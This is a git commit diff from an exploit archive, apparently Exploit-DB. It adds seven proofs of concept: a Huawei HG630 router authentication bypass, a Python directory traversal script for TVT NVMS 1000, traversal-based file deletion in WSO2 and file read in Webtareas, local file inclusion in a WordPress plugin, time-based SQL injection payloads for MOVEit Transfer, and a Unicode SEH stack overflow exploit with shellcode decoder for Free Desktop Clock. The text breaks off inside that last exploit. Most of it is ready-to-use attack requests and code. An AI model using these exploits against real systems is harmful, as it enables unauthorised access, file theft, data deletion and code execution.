DB: 2020-04-14
7 changes to exploits/shellcodes Free Desktop Clock x86 Venetian Blinds Zipper 3.0 - Unicode Stack Overflow (SEH) Huawei HG630 2 Router - Authentication Bypass TVT NVMS 1000 - Directory Traversal Webtateas 2.0 - Arbitrary File Read WSO2 3.1.0 - Arbitrary File Delete Wordpress Plugin Media Library Assistant 2.81 - Local File Inclusion MOVEit Transfer 11.1.1 - 'token' Unauthenticated SQL Injection
This commit is contained in:
Offensive Security
parent
3ac506590d
commit
be2aa5d840
8 changed files with 659 additions and 0 deletions
51
exploits/hardware/webapps/48310.txt
Normal file
51
exploits/hardware/webapps/48310.txt
Normal file
|
|
@ -0,0 +1,51 @@
|
||||||
|
# Title: Huawei HG630 2 Router - Authentication Bypass
|
||||||
|
# Date: 2020-04-13
|
||||||
|
# Author: Eslam Medhat
|
||||||
|
# Vendor Homepage: www.huawei.com
|
||||||
|
# Version: HG630 V2
|
||||||
|
# HardwareVersion: VER.B
|
||||||
|
# CVE: N/A
|
||||||
|
|
||||||
|
#POC:
|
||||||
|
|
||||||
|
The default password of this router is the last 8 characters of the
|
||||||
|
device's serial number which exist in the back of the device.
|
||||||
|
|
||||||
|
An attacker can leak the serial number via the web app API like the
|
||||||
|
following:
|
||||||
|
|
||||||
|
************************Request************************
|
||||||
|
GET /api/system/deviceinfo HTTP/1.1
|
||||||
|
Host: 192.168.1.1
|
||||||
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0)
|
||||||
|
Gecko/20100101 Firefox/65.0
|
||||||
|
Accept: application/json, text/javascript, */*; q=0.01
|
||||||
|
Accept-Language: en-US,en;q=0.5
|
||||||
|
Accept-Encoding: gzip, deflate
|
||||||
|
Referer: https://192.168.1.1/
|
||||||
|
X-Requested-With: XMLHttpRequest
|
||||||
|
Connection: close
|
||||||
|
Cookie:
|
||||||
|
SessionID_R3=0PVHKCwY01etBMntI9TZZRvYX04emsjws0Be4EQ8VcoojhWaRQpOV9E0BbAktJDwzI0au6s1xgl0Cn7bvN9rejjMhJCI1t07f2XDnbo09tjN4mcG0XMyXbMoJLjViHm
|
||||||
|
|
||||||
|
|
||||||
|
************************Response************************
|
||||||
|
HTTP/1.1 200 OK
|
||||||
|
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
|
||||||
|
X-Download-Options: noopen
|
||||||
|
X-Frame-Options: SAMEORIGIN
|
||||||
|
X-XSS-Protection: 1; mode=block
|
||||||
|
Date: Fri, 01 Jan 2010 09:14:47 GMT
|
||||||
|
Connection: Keep-Alive
|
||||||
|
Content-Language: en
|
||||||
|
Content-Type: application/javascript
|
||||||
|
Content-Length: 141
|
||||||
|
|
||||||
|
while(1); /*{"DeviceName":"HG630
|
||||||
|
V2","SerialNumber":"T5D7S18815905395","ManufacturerOUI":"00E0FC","UpTime":33288,"HardwareVersion":"VER.B"}*/
|
||||||
|
|
||||||
|
|
||||||
|
You can use that serial number to login to the router.
|
||||||
|
|
||||||
|
#Reference:
|
||||||
|
https://www.youtube.com/watch?v=vOrIL7L_cVc
|
||||||
43
exploits/hardware/webapps/48311.py
Executable file
43
exploits/hardware/webapps/48311.py
Executable file
|
|
@ -0,0 +1,43 @@
|
||||||
|
# Exploit Title: TVT NVMS 1000 - Directory Traversal
|
||||||
|
# Date: 2020-04-13
|
||||||
|
# Exploit Author: Mohin Paramasivam (Shad0wQu35t)
|
||||||
|
# Vendor Homepage: http://en.tvt.net.cn/
|
||||||
|
# Version : N/A
|
||||||
|
# Software Link : http://en.tvt.net.cn/products/188.html
|
||||||
|
# Original Author : Numan Türle
|
||||||
|
# CVE : CVE-2019-20085
|
||||||
|
|
||||||
|
import sys
|
||||||
|
import requests
|
||||||
|
import os
|
||||||
|
import time
|
||||||
|
|
||||||
|
if len(sys.argv) !=4:
|
||||||
|
print " "
|
||||||
|
print "Usage : python exploit.py url filename outputname"
|
||||||
|
print "Example : python exploit.py http://10.10.10.10/ windows/win.ini win.ini"
|
||||||
|
print " "
|
||||||
|
else:
|
||||||
|
|
||||||
|
|
||||||
|
traversal = "../../../../../../../../../../../../../"
|
||||||
|
filename = sys.argv[2]
|
||||||
|
url = sys.argv[1]+traversal+filename
|
||||||
|
outputname = sys.argv[3]
|
||||||
|
content = requests.get(url)
|
||||||
|
|
||||||
|
if content.status_code == 200:
|
||||||
|
|
||||||
|
print " "
|
||||||
|
print "Directory Traversal Succeeded"
|
||||||
|
time.sleep(3)
|
||||||
|
print " "
|
||||||
|
print "Saving Output"
|
||||||
|
os.system("touch " + outputname)
|
||||||
|
output_write = open(outputname,"r+")
|
||||||
|
output_write.write(content.text)
|
||||||
|
output_write.close()
|
||||||
|
|
||||||
|
else:
|
||||||
|
|
||||||
|
print "Host not vulnerable to Directory Traversal!"
|
||||||
146
exploits/java/webapps/48313.txt
Normal file
146
exploits/java/webapps/48313.txt
Normal file
|
|
@ -0,0 +1,146 @@
|
||||||
|
# Title: WSO2 3.1.0 - Arbitrary File Delete
|
||||||
|
# Date: 2020-04-12
|
||||||
|
# Author: raki ben hamouda
|
||||||
|
# Vendor: https://apim.docs.wso2.com
|
||||||
|
# Softwrare link: https://apim.docs.wso2.com/en/latest/
|
||||||
|
# CVE: N/A
|
||||||
|
|
||||||
|
|
||||||
|
Document Title:
|
||||||
|
===============
|
||||||
|
WOS2 API Manager(Delete Extension) Arbitrary File Delete(Path traversal )
|
||||||
|
|
||||||
|
|
||||||
|
##CVE not assigned yet
|
||||||
|
|
||||||
|
##Security Update : https://apim.docs.wso2.com/en/latest/
|
||||||
|
|
||||||
|
|
||||||
|
Common Vulnerability Scoring System:
|
||||||
|
====================================
|
||||||
|
8.5
|
||||||
|
|
||||||
|
|
||||||
|
Affected Product(s):
|
||||||
|
====================
|
||||||
|
WSO2 API Manager Carbon Interface
|
||||||
|
|
||||||
|
Exploitation Technique:
|
||||||
|
=======================
|
||||||
|
Remote
|
||||||
|
|
||||||
|
|
||||||
|
Severity Level:
|
||||||
|
===============
|
||||||
|
High
|
||||||
|
|
||||||
|
|
||||||
|
Technical Details & Description:
|
||||||
|
================================
|
||||||
|
A remote Arbitrary file delete vulnerability has been discovered in the official WSO2 API Manager Carbon UI product .
|
||||||
|
The security vulnerability allows a remote attacker with low privileges to perform authenticated application requests
|
||||||
|
and to delete arbitrary System files.
|
||||||
|
|
||||||
|
The vulnerability is located in the `/carbon/extensions/deleteExtension-ajaxprocessor.jsp` modules and the `extensionName` parameter
|
||||||
|
of the extension we want to delete. Remote attackers are able to delete arbitrary files as configuration files ,database(.db) files
|
||||||
|
via authenticated POST method requests with a crafted String arbitrary traversal files names in "extensionName" .
|
||||||
|
|
||||||
|
The security risk of the arbitrary delete vulnerability is estimated as High with a cvss (common vulnerability scoring system) count of 8.5.
|
||||||
|
Exploitation of the Path traversal vulnerability requires a low privilege web-application user account and no user interaction.
|
||||||
|
Successful exploitation of the vulnerability results in loss of availability, integrity and confidentiality.
|
||||||
|
|
||||||
|
===============================
|
||||||
|
|
||||||
|
Error Generated by Server in case of file not found from 'logfile' ( broughts my atttention ...)
|
||||||
|
|
||||||
|
[2020-01-04 01:40:43,318] ERROR - ResourceServiceClient Failed to remove extension.
|
||||||
|
org.apache.axis2.AxisFault: File does not exist: E:\api-wso2\bin\..\repository\d
|
||||||
|
eployment\server\registryextensions\commons-dir
|
||||||
|
at org.apache.axis2.util.Utils.getInboundFaultFromMessageContext(Utils.j
|
||||||
|
ava:531) ~[axis2_1.6.1.wso2v38.jar:?]
|
||||||
|
at org.apache.axis2.description.OutInAxisOperationClient.handleResponse(
|
||||||
|
OutInAxisOperation.java:382) ~[axis2_1.6.1.wso2v38.jar:?]
|
||||||
|
at org.apache.axis2.description.OutInAxisOperationClient.send(OutInAxisO
|
||||||
|
peration.java:457) ~[axis2_1.6.1.wso2v38.jar:?]
|
||||||
|
at org.apache.axis2.description.OutInAxisOperationClient.executeImpl(Out
|
||||||
|
InAxisOperation.java:228) ~[axis2_1.6.1.wso2v38.jar:?]
|
||||||
|
at org.apache.axis2.client.OperationClient.execute(OperationClient.java:
|
||||||
|
149) ~[axis2_1.6.1.wso2v38.jar:?]
|
||||||
|
at org.wso2.carbon.registry.extensions.stub.ResourceAdminServiceStub.rem
|
||||||
|
oveExtension(ResourceAdminServiceStub.java:5954) ~[org.wso2.carbon.registry.exte
|
||||||
|
nsions.stub_4.7.13.jar:?]
|
||||||
|
at org.wso2.carbon.registry.extensions.ui.clients.ResourceServiceClient.
|
||||||
|
deleteExtension(ResourceServiceClient.java:137) [org.wso2.carbon.registry.extens
|
||||||
|
ions.ui_4.7.13.jar:?]
|
||||||
|
at org.apache.jsp.extensions.deleteExtension_002dajaxprocessor_jsp._jspS
|
||||||
|
ervice(deleteExtension_002dajaxprocessor_jsp.java:139) [hc_795974301/:?]
|
||||||
|
at org.apache.jasper.runtime.HttpJspBase.service(HttpJspBase.java:70) [t
|
||||||
|
omcat_9.0.22.wso2v1.jar:?]
|
||||||
|
|
||||||
|
*Error displayed in Web browser with body request:
|
||||||
|
|
||||||
|
<script type="text/javascript">
|
||||||
|
CARBON.showErrorDialog("File does not exist: E:\api-wso2\bin\..\repository\deployment\server\registryextensions\nofile.jar");
|
||||||
|
</script>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
=============================
|
||||||
|
|
||||||
|
Request Method(s):
|
||||||
|
[+] POST
|
||||||
|
|
||||||
|
Vulnerable Module(s):
|
||||||
|
[+] /carbon/extensions/deleteExtension-ajaxprocessor.jsp
|
||||||
|
|
||||||
|
Vulnerable Parameter(s):
|
||||||
|
[+] extensionName
|
||||||
|
|
||||||
|
|
||||||
|
Server version
|
||||||
|
3.0.0
|
||||||
|
|
||||||
|
|
||||||
|
Proof of Concept (PoC):
|
||||||
|
=======================
|
||||||
|
The security vulnerability can be exploited by remote attackers with low privileged web-application user account and with no user interaction.
|
||||||
|
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.
|
||||||
|
|
||||||
|
|
||||||
|
1-Attacker must have access to the Extension component(List ,Add ,Delete extensions )
|
||||||
|
2-attacker uploads any file .jar extension
|
||||||
|
3-attacker intercepts the request that follows and modifies the parameter with traversal string:
|
||||||
|
|
||||||
|
--- PoC Session Logs [POST] ---
|
||||||
|
|
||||||
|
POST /carbon/extensions/deleteExtension-ajaxprocessor.jsp HTTP/1.1
|
||||||
|
Host: localhost:9443
|
||||||
|
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
|
||||||
|
Accept: text/javascript, text/html, application/xml, text/xml, */*
|
||||||
|
Accept-Language: en-US,en;q=0.5
|
||||||
|
Accept-Encoding: gzip, deflate
|
||||||
|
X-Requested-With: XMLHttpRequest, XMLHttpRequest
|
||||||
|
X-Prototype-Version: 1.5.0
|
||||||
|
Content-type: application/x-www-form-urlencoded; charset=UTF-8
|
||||||
|
X-CSRF-Token: 0OQG-MM0W-1CY9-K503-1X3I-J4M1-YF2Z-J4NS
|
||||||
|
Content-Length: 22
|
||||||
|
Origin: https://localhost:9443
|
||||||
|
Connection: close
|
||||||
|
Referer: https://localhost:9443/carbon/extensions/list_extensions.jsp?region=region3&item=list_extensions_menu
|
||||||
|
Cookie: JSESSIONID=BD1005351C7DC1E70CA763D5EBD5390B; requestedURI=../../carbon/functions-library-mgt/functions-library-mgt-add.jsp?region=region1&item=function_libraries_add; region1_configure_menu=none; region3_registry_menu=visible; region4_monitor_menu=none; region5_tools_menu=none; current-breadcrumb=extensions_menu%252Clist_extensions_menu%2523; MSG15780931689110.08734318816834985=true; MSG15780932448520.1389658752202746=true; MSG15780934638710.11615678726759582=true; MSG15780941514590.39351165459685944=true; MSG15780941548760.1587776077002745=true; MSG15780944563770.9802725740232142=true; MSG15780944882480.28388839177015013=true; MSG15780945113520.5908842754830942=true; menuPanel=visible; menuPanelType=extensions
|
||||||
|
Pragma: no-cache
|
||||||
|
Cache-Control: no-cache
|
||||||
|
|
||||||
|
extensionName=../../../../INSTALL.txt
|
||||||
|
|
||||||
|
---------------Returned Headers in Response------------------
|
||||||
|
|
||||||
|
HTTP/1.1 200
|
||||||
|
X-Content-Type-Options: nosniff
|
||||||
|
X-XSS-Protection: 1; mode=block
|
||||||
|
X-Frame-Options: DENY
|
||||||
|
Content-Type: text/html;charset=UTF-8
|
||||||
|
Content-Length: 10
|
||||||
|
Date: Sat, 04 Jan 2020 00:55:38 GMT
|
||||||
|
Connection: close
|
||||||
|
Server: WSO2 Carbon Server
|
||||||
26
exploits/php/webapps/48312.txt
Normal file
26
exploits/php/webapps/48312.txt
Normal file
|
|
@ -0,0 +1,26 @@
|
||||||
|
# Exploit Title: Webtateas 2.0 - Arbitrary File Read
|
||||||
|
# Date: 2020-04-12
|
||||||
|
# Exploit Author: China Banking and Insurance Information Technology Management Co.,Ltd.
|
||||||
|
# Vendor Homepage: http://webtareas.sourceforge.net/general/home.php
|
||||||
|
# Software Link: http://webtareas.sourceforge.net/general/home.php
|
||||||
|
# Version: Webtateas v2.0
|
||||||
|
# Tested on: Windows
|
||||||
|
# CVE : N/A
|
||||||
|
|
||||||
|
Vulnerable Request:
|
||||||
|
POST /webtareas/includes/general_serv.php HTTP/1.1
|
||||||
|
Host: 127.0.0.1
|
||||||
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0
|
||||||
|
Accept: */*
|
||||||
|
Accept-Language: en-US,en;q=0.5
|
||||||
|
Accept-Encoding: gzip, deflate
|
||||||
|
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
|
||||||
|
X-Requested-With: XMLHttpRequest
|
||||||
|
Content-Length: 72
|
||||||
|
Origin: http://127.0.0.1
|
||||||
|
Connection: close
|
||||||
|
Referer: http://127.0.0.1/webtareas/general/home.php?
|
||||||
|
Cookie: webTareasSID=k2vicb6pn9gsajncg3l6ltbver
|
||||||
|
DNT: 1
|
||||||
|
|
||||||
|
action=cardview-actions&prefix=..%2F&extpath=../../../../Windows/win.ini
|
||||||
28
exploits/php/webapps/48315.txt
Normal file
28
exploits/php/webapps/48315.txt
Normal file
|
|
@ -0,0 +1,28 @@
|
||||||
|
# Exploit Title: Wordpress Plugin Media Library Assistant 2.81 - Local File Inclusion
|
||||||
|
# Google Dork: N/A
|
||||||
|
# Date: 2020-04-13
|
||||||
|
# Exploit Author: Daniel Monzón (stark0de)
|
||||||
|
# Vendor Homepage: http://davidlingren.com/
|
||||||
|
# Software Link: https://wordpress.org/plugins/media-library-assistant/
|
||||||
|
# Version: 2.81
|
||||||
|
# Tested on: Windows 7 x86 SP1
|
||||||
|
# CVE : CVE-2020-11731, CVE-2020-11732
|
||||||
|
|
||||||
|
----Local File Inclusion----------------------------
|
||||||
|
|
||||||
|
There is a file inclusion vulnerability in the mla-file-downloader.php file. Example:
|
||||||
|
|
||||||
|
http://server/wordpress/wp-content/plugins/media-library-assistant/includes/mla-file-downloader.php?mla_download_type=text/html&mla_download_file=C:\Bitnami\wordpress-5.3.2-2\apps\wordpress\htdocs\wp-content\plugins\updraftplus\options.php
|
||||||
|
|
||||||
|
Visiting the above URL would lead to disclosure of the contents of options.php. Note that this vulnerability does not require authentication.
|
||||||
|
|
||||||
|
|
||||||
|
----Multiple Cross-Site-Scripting-------------------
|
||||||
|
|
||||||
|
There are both reflected and stored cross-site scripting vulnerabilities in almost all Settings/Media Library Assistant tabs, which allow remote authenticated users to execute arbitrary JavaScript.
|
||||||
|
|
||||||
|
Note that this vulnerability requires authentication.
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
Tested on Windows 7 Pro SP1 32-bit and Wordpress 5.3.2
|
||||||
34
exploits/php/webapps/48316.txt
Normal file
34
exploits/php/webapps/48316.txt
Normal file
|
|
@ -0,0 +1,34 @@
|
||||||
|
# Exploit Title: MOVEit Transfer 11.1.1 - 'token' Unauthenticated SQL Injection
|
||||||
|
# Google Dork: inurl:human.aspx intext:moveit
|
||||||
|
# Date: 2020-04-12
|
||||||
|
# Exploit Authors: Aviv Beniash, Noam Moshe
|
||||||
|
# Vendor Homepage: https://www.ipswitch.com/
|
||||||
|
# Version: MOVEit Transfer 2018 SP2 before 10.2.4, 2019 before 11.0.2, and 2019.1 before 11.1.1
|
||||||
|
# CVE : CVE-2019-16383
|
||||||
|
#
|
||||||
|
# Related Resources:
|
||||||
|
# https://community.ipswitch.com/s/article/SQL-Injection-Vulnerability
|
||||||
|
# https://nvd.nist.gov/vuln/detail/CVE-2019-16383
|
||||||
|
|
||||||
|
# Description:
|
||||||
|
# The API call for revoking logon tokens is vulnerable to a
|
||||||
|
# Time based blind SQL injection via the 'token' parameter
|
||||||
|
|
||||||
|
# MSSQL payload:
|
||||||
|
|
||||||
|
POST /api/v1/token/revoke HTTP/1.1
|
||||||
|
Host: moveittransferstg
|
||||||
|
Content-Type: application/x-www-form-urlencoded
|
||||||
|
Content-Length: 32
|
||||||
|
|
||||||
|
token='; WAITFOR DELAY '0:0:10'--
|
||||||
|
|
||||||
|
|
||||||
|
# MySQL payload:
|
||||||
|
|
||||||
|
POST /api/v1/token/revoke HTTP/1.1
|
||||||
|
Host: moveittransferstg
|
||||||
|
Content-Type: application/x-www-form-urlencoded
|
||||||
|
Content-Length: 21
|
||||||
|
|
||||||
|
token=' OR SLEEP(10);
|
||||||
324
exploits/windows/local/48314.py
Executable file
324
exploits/windows/local/48314.py
Executable file
|
|
@ -0,0 +1,324 @@
|
||||||
|
# Exploit Title: Free Desktop Clock x86 Venetian Blinds Zipper 3.0 - Unicode Stack Overflow (SEH)
|
||||||
|
# Exploit Author: Bobby Cooke
|
||||||
|
# Date: 2020-04-11
|
||||||
|
# Vendor: Drive Software Company
|
||||||
|
# Vendor Site: http://www.drive-software.com
|
||||||
|
# Software Download: http://www.drive-software.com/download/freeclock.exe
|
||||||
|
# Tested On: Windows 10 - Pro 1909 (x86) & Home 1909 (x86)
|
||||||
|
# - Does not work on x64 version
|
||||||
|
# Version: Free Desktop Clock 3.0
|
||||||
|
# Recreate: Install & Open > Time Zones > 'Enter display name' textbox > paste buffer
|
||||||
|
|
||||||
|
############################### CRASH INFO ###############################
|
||||||
|
# [!] Access violation
|
||||||
|
# 042D15E7 8908 mov [eax], ecx ; FreeDesk.00440044
|
||||||
|
# SEH chain of main thread
|
||||||
|
# Address SE handler
|
||||||
|
# 0014EE24 FreeDesk.00410041 <- Structured Exception Handler Overwrite
|
||||||
|
# 00410041 74737953
|
||||||
|
# 69620C00 *** CORRUPT ENTRY ***
|
||||||
|
############################### CRASH INFO ###############################
|
||||||
|
|
||||||
|
File = 'poc.txt'
|
||||||
|
|
||||||
|
######################### EXPLOIT ENVIRONMENT INFO #########################
|
||||||
|
#badChars = '\x00\x0d\x80\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8e'
|
||||||
|
#badChars += '\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9e\x9f'
|
||||||
|
#goodChars = '\x81\x8D\x8F\x90\x9D' (within 0x80-0x9f)
|
||||||
|
|
||||||
|
# Base | Rebase | SafeSEH | ASLR | NXCompat | Modulename
|
||||||
|
# 0x00400000 | False | False | False | False | [FreeDesktopClock.exe]
|
||||||
|
# 0x042b0000 | True | False | False | False | [Clock.dll]
|
||||||
|
######################### EXPLOIT ENVIRONMENT INFO #########################
|
||||||
|
|
||||||
|
os_nSEH = '\x41'*(457) # Offset to nSEH Overwrite
|
||||||
|
nSEH = '\xeb\x05' # jmp short +2
|
||||||
|
SEH = '\xeb\x43' # 0x004300eb: pop esi# pop ebx# ret [FreeDesktopClock.exe]
|
||||||
|
# nSEH & SEH translated opcodes after Pop-Pop-Ret
|
||||||
|
# EB 00 jmp short +2
|
||||||
|
# 05 00EB0043 add eax, 4300EB00
|
||||||
|
|
||||||
|
# GetPC to decode our decoder using Venetian Blinds technique
|
||||||
|
getPC = '\x73' # add [ebx], dh # nop | [EBX] = writable memory
|
||||||
|
getPC += '\x61' # popad # [ESP] = &Payload
|
||||||
|
getPC += '\x72' # add [edx], dh # realigns execution for 1 byte opcodes
|
||||||
|
|
||||||
|
ebx2eax = '\x58' # pop eax # EAX = &Payload
|
||||||
|
ebx2eax += '\x72' # add [edx], dh
|
||||||
|
|
||||||
|
# Use Venetian Blinds technique to fix our mangled decoder
|
||||||
|
# + Using the Venetian Blinds Technique costs 14 bytes to fill 1 0x00 with 1 legit shellcode byte.
|
||||||
|
#
|
||||||
|
# Ajust EAX to &Decoder
|
||||||
|
getDecoder = '\x05\x13\x11' # add eax, 0x11001300 # EAX + 512-bytes
|
||||||
|
getDecoder += '\x72' # add [edx], dh
|
||||||
|
getDecoder += '\x2D\x11\x11' # sub eax, 0x11001100 # EAX = &Decoder
|
||||||
|
getDecoder += '\x72' # add [edx], dh
|
||||||
|
getDecoder += '\x50' # push eax # [ESP] = &Decoder
|
||||||
|
getDecoder += '\x72' # add [edx], dh
|
||||||
|
|
||||||
|
############################# ZIPPER DECODER ###############################
|
||||||
|
# Set EAX = First non-null byte of shellcode
|
||||||
|
# init:
|
||||||
|
# 1 | 50 | push eax # EAX = &Shellcode
|
||||||
|
# 2 | 5F | pop edi # EDI = Decoder Destination Base Address
|
||||||
|
# 3 | 47 | inc edi # First 0x00 byte of shellcode
|
||||||
|
# 4:5 | 33D2 | xor edx, edx
|
||||||
|
# 6:7 | 33C9 | xor ecx, ecx
|
||||||
|
# 8:11 | 66:B9 1004 | mov cx, 410 # ECX = Loop Counter
|
||||||
|
# decodeLoop:
|
||||||
|
# 12:13 | 33DB | xor ebx, ebx
|
||||||
|
# 14 | 42 | inc edx # EDX+EAX = &SourceShellcodeByte
|
||||||
|
# 15 | 42 | inc edx # increment to next non-null byte
|
||||||
|
# 16:17 | 32DB | xor bl, bl # clear BL to hold next shellcode byte
|
||||||
|
# 18:20 | 021C10 | add bl, [eax+edx] # BL = SourceShellcodeByte
|
||||||
|
# 21:22 | 203F | and [edi], bh # [EDI] = SC-byte, clear with: AND 0x00
|
||||||
|
# 23:24 | 301F | xor [edi], bl # Write next byte of shellcode
|
||||||
|
# 25 | 47 | inc edi
|
||||||
|
# 26 | 49 | dec ecx
|
||||||
|
# 27:28 | 74 02 | je short jmp2code
|
||||||
|
# 29:30 | ^ EB ED | jmp short decodeLoop
|
||||||
|
# jmp2code:
|
||||||
|
# 31 | 50 | push eax
|
||||||
|
# 32 | C3 | ret
|
||||||
|
################################################3###########################
|
||||||
|
|
||||||
|
#DecoderHex = '505F4733D233C966B9100433DB424232DB021C10203F301F47497402EBED50C3'
|
||||||
|
firstHalf = '\x50\x47\xD2\xC9\xB9\x04\xDB\x42\xDB\x1C\x20\x30\x47\x74\xEB\x50'
|
||||||
|
#venBldHalf = '5F 33 33 66 10 33 42 32 02 10 3F 1F 49 02 ED C3'
|
||||||
|
# 2 4 6 8 10 12 14 16 18 20 22 24 26 28 30 32
|
||||||
|
|
||||||
|
# Note: These nop unicode instructions are actually [reg+0x00] not [reg]
|
||||||
|
# The [reg] version (0032) is 2 bytes. The [reg+0x00] version (007200) is 3 bytes
|
||||||
|
# Use the 3 byte version for Venetian Blinds alignment
|
||||||
|
# Example:
|
||||||
|
# nasm > add [edx], dh
|
||||||
|
# 00000000 0032 add [edx],dh
|
||||||
|
# nasm > add [edx+00], dh
|
||||||
|
# 00000000 0032 add [edx],dh
|
||||||
|
# nasm > add [edx+01], dh
|
||||||
|
# 00000000 007201 add [edx+0x1],dh
|
||||||
|
# + This happens when typing in ASM commands into msf-nasm_shell and immunity
|
||||||
|
|
||||||
|
## 2nd byte - \x00 => \x5F
|
||||||
|
venBlinds = '\x40' # inc eax // now eax points shellcode byte
|
||||||
|
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
|
||||||
|
venBlinds += '\xC6\x5F' # mov byte [eax], 0x50
|
||||||
|
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
|
||||||
|
venBlinds += '\x40' # inc eax // now eax points shellcode byte
|
||||||
|
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
|
||||||
|
venBlinds += '\x40' # inc eax // now eax points to the next '\x00'
|
||||||
|
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
|
||||||
|
## 4th byte - \x00 => \x33
|
||||||
|
venBlinds += '\xC6\x33' # mov byte [eax], 0x33
|
||||||
|
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
|
||||||
|
venBlinds += '\x40' # inc eax // now eax points shellcode byte
|
||||||
|
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
|
||||||
|
venBlinds += '\x40' # inc eax // now eax points to the next '\x00'
|
||||||
|
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
|
||||||
|
## 6th byte - \x00 => \x33
|
||||||
|
venBlinds += '\xC6\x33' # mov byte [eax], 0x33
|
||||||
|
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
|
||||||
|
venBlinds += '\x40' # inc eax // now eax points shellcode byte
|
||||||
|
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
|
||||||
|
venBlinds += '\x40' # inc eax // now eax points to the next '\x00'
|
||||||
|
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
|
||||||
|
## 8th byte - \x00 => \x66
|
||||||
|
venBlinds += '\xC6\x66' # mov byte [eax], 0x66
|
||||||
|
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
|
||||||
|
venBlinds += '\x40' # inc eax // now eax points shellcode byte
|
||||||
|
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
|
||||||
|
venBlinds += '\x40' # inc eax // now eax points to the next '\x00'
|
||||||
|
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
|
||||||
|
## 10th byte - \x00 => \x10
|
||||||
|
venBlinds += '\xC6\x10' # mov byte [eax], 0x10
|
||||||
|
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
|
||||||
|
venBlinds += '\x40' # inc eax // now eax points shellcode byte
|
||||||
|
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
|
||||||
|
venBlinds += '\x40' # inc eax // now eax points to the next '\x00'
|
||||||
|
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
|
||||||
|
## 12th byte - \x00 => \x33
|
||||||
|
venBlinds += '\xC6\x33' # mov byte [eax], 0x33
|
||||||
|
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
|
||||||
|
venBlinds += '\x40' # inc eax // now eax points shellcode byte
|
||||||
|
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
|
||||||
|
venBlinds += '\x40' # inc eax // now eax points to the next '\x00'
|
||||||
|
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
|
||||||
|
## 14th byte - \x00 => \x42
|
||||||
|
venBlinds += '\xC6\x42' # mov byte [eax], 0x42
|
||||||
|
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
|
||||||
|
venBlinds += '\x40' # inc eax // now eax points shellcode byte
|
||||||
|
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
|
||||||
|
venBlinds += '\x40' # inc eax // now eax points to the next '\x00'
|
||||||
|
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
|
||||||
|
## 16th byte - \x00 => \x32
|
||||||
|
venBlinds += '\xC6\x32' # mov byte [eax], 0x32
|
||||||
|
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
|
||||||
|
venBlinds += '\x40' # inc eax // now eax points shellcode byte
|
||||||
|
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
|
||||||
|
venBlinds += '\x40' # inc eax // now eax points to the next '\x00'
|
||||||
|
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
|
||||||
|
## 18th byte - \x00 => \x02
|
||||||
|
venBlinds += '\xC6\x02' # mov byte [eax], 0x02
|
||||||
|
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
|
||||||
|
venBlinds += '\x40' # inc eax // now eax points shellcode byte
|
||||||
|
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
|
||||||
|
venBlinds += '\x40' # inc eax // now eax points to the next '\x00'
|
||||||
|
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
|
||||||
|
## 20th byte - \x00 => \x10
|
||||||
|
venBlinds += '\xC6\x10' # mov byte [eax], 0x10
|
||||||
|
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
|
||||||
|
venBlinds += '\x40' # inc eax // now eax points shellcode byte
|
||||||
|
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
|
||||||
|
venBlinds += '\x40' # inc eax // now eax points to the next '\x00'
|
||||||
|
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
|
||||||
|
## 22nd byte - \x00 => \x3F
|
||||||
|
venBlinds += '\xC6\x3F' # mov byte [eax], 0x3F
|
||||||
|
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
|
||||||
|
venBlinds += '\x40' # inc eax // now eax points shellcode byte
|
||||||
|
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
|
||||||
|
venBlinds += '\x40' # inc eax // now eax points to the next '\x00'
|
||||||
|
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
|
||||||
|
## 24nd byte - \x00 => \x1F
|
||||||
|
venBlinds += '\xC6\x1F' # mov byte [eax], 0x1F
|
||||||
|
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
|
||||||
|
venBlinds += '\x40' # inc eax // now eax points shellcode byte
|
||||||
|
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
|
||||||
|
venBlinds += '\x40' # inc eax // now eax points to the next '\x00'
|
||||||
|
